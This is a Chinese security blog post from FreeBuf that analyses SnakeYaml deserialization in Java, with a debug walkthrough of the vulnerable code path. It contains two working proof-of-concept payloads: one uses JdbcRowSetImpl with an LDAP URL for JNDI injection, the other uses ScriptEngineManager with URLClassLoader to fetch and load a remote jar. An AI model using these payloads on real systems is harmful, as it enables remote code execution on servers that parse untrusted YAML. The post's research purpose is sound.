freeBuf
SnakeYaml序列化与反序列化
2023-07-06 00:26:20
所属地 四川省

前言

yaml简称yml,什么是yml,官方解释说,yml不是标记性语言,YAML 是一种人性化的数据序列化,适应所有编程语言的语言。

SnakeYaml就是用于解析YAML,序列化以及反序列化的第三方框架,解析yml的三方框架有很多,SnakeYaml,jYaml,Jackson等,但是不同的工具功能还是差距较大。

SnakeYaml是Java用于解析Yaml(Yet Another Markup Language)格式数据的类库, 它提供了dump方法可以将一个Java对象转为Yaml格式字符串, 其load方法也能够将Yaml字符串转为Java对象。那么在对象与字符串转换的实现中其实与FastJson和Jaskson等组件一样使用了(非原生)序列化/反序列化。

简介

User类

public class User {

    String name;
    int age;

    public User() {
        System.out.println("User构造函数");
    }

    public String getName() {
        System.out.println("User.getName");
        return name;
    }

    public void setName(String name) {
        System.out.println("User.setName");
        this.name = name;
    }

    public int getAge() {
        System.out.println("User.getAge");
        return age;
    }

    public void setAge(int age) {
        System.out.println("User.setAge");
        this.age = age;
    }
}

序列化与反序列化demo

public class Test {
    public static void main(String[] args) throws Exception{
        serialize();
        unserialize();
    }
    public static void serialize(){
        User user = new User();
        user.setName("daneldeng");
        user.setAge(25);
        Yaml yaml = new Yaml();
        String str = yaml.dump(user);
        System.out.println(str);
    }
    public static void unserialize(){
        String str1 = "!!User {age: 25, name: daneldeng}";
        String str2 = "age: 25\n" +
                "name: daneldeng";
        Yaml yaml = new Yaml();
        yaml.load(str1);
        yaml.loadAs(str2, User.class);
    }
}

简单的JNDI注入测试

public class YamlTest {
    public static void main(String[] args) throws Exception{
        Yaml yaml = new Yaml();
        yaml.load("!!com.sun.rowset.JdbcRowSetImpl {dataSourceName: ldap://127.0.0.1:1389/thc3no, autoCommit: true}");
    }
}

image

由分析可知SnakeYaml利用方式与fastjson的利用方式相似,!!类似于fastjson中的@type用于指定反序列化的全类名。

漏洞分析

静态调试分析JNDI流程。

调用重载方法, 实例化StreamReader对象。
image

image

跟进 getSingleData方法,其调用 BaseConstructor#constructDocument方法并传入Node对象, 其包含了解析的YAML字符串信息。
image

这是封装了的node对象。
image

这是封装了的composer对象。
image

下面是跟随着一路封装Node对象的过程。
image

image

image

一直到跟进Constructor$ConstructMapping#constructJavaBean2ndStep中, property.set是最为关键的一步。
image

image

图中的getWriteMethod方法会返回属性对应的setter方法的Method对象(), 通过调用Method对象的invoke方法即实现了调用JdbcRowSetImpl的setAutoCommit方法。

后面就是基本的JNDI注入的过程了,就不详细分析了。
调用栈

connect:623, JdbcRowSetImpl (com.sun.rowset)
setAutoCommit:4067, JdbcRowSetImpl (com.sun.rowset)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
set:77, MethodProperty (org.yaml.snakeyaml.introspector)
constructJavaBean2ndStep:285, Constructor$ConstructMapping (org.yaml.snakeyaml.constructor)
construct:171, Constructor$ConstructMapping (org.yaml.snakeyaml.constructor)
construct:331, Constructor$ConstructYamlObject (org.yaml.snakeyaml.constructor)
constructObjectNoCheck:229, BaseConstructor (org.yaml.snakeyaml.constructor)
constructObject:219, BaseConstructor (org.yaml.snakeyaml.constructor)
constructDocument:173, BaseConstructor (org.yaml.snakeyaml.constructor)
getSingleData:157, BaseConstructor (org.yaml.snakeyaml.constructor)
loadFromReader:490, Yaml (org.yaml.snakeyaml)
load:416, Yaml (org.yaml.snakeyaml)
main:6, YamlTest

SPI

SPI ,全称为 Service Provider Interface,是一种服务发现机制。它通过在ClassPath路径下的META-INF/services文件夹查找文件,自动加载文件里所定义的类。也就是动态为某个接口寻找服务实现。

也就是,我们在META-INF/services下创建一个以服务接口命名的文件,这个文件里的内容就是这个接口的具体的实现类的全类名,在加载这个接口的时候就会实例化里面写上的类。

SPI与ScriptEngineManager

poc

import org.yaml.snakeyaml.Yaml;

public class SPInScriptEngineManager {
    public static void main(String[] args) throws Exception{
        String payload = "!!javax.script.ScriptEngineManager [\n" +
                "  !!java.net.URLClassLoader [[\n" +
                "    !!java.net.URL [\"http://127.0.0.1:9999/yaml-payload.jar\"]\n" +
                "  ]]\n" +
                "]";
        Yaml yaml = new Yaml();
        yaml.load(payload);
    }
}

执行结果:
image

总结

SnakeYaml和Fastjson有很多相似的点,都是通过反序列化调用特定类的特定函数来进行触发,并对函数的参数赋值,触发JNDI或者是使用SPI加载远程Jar包或class恶意类。

参考

https://paper.seebug.org/1657/#_1

本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
文章目录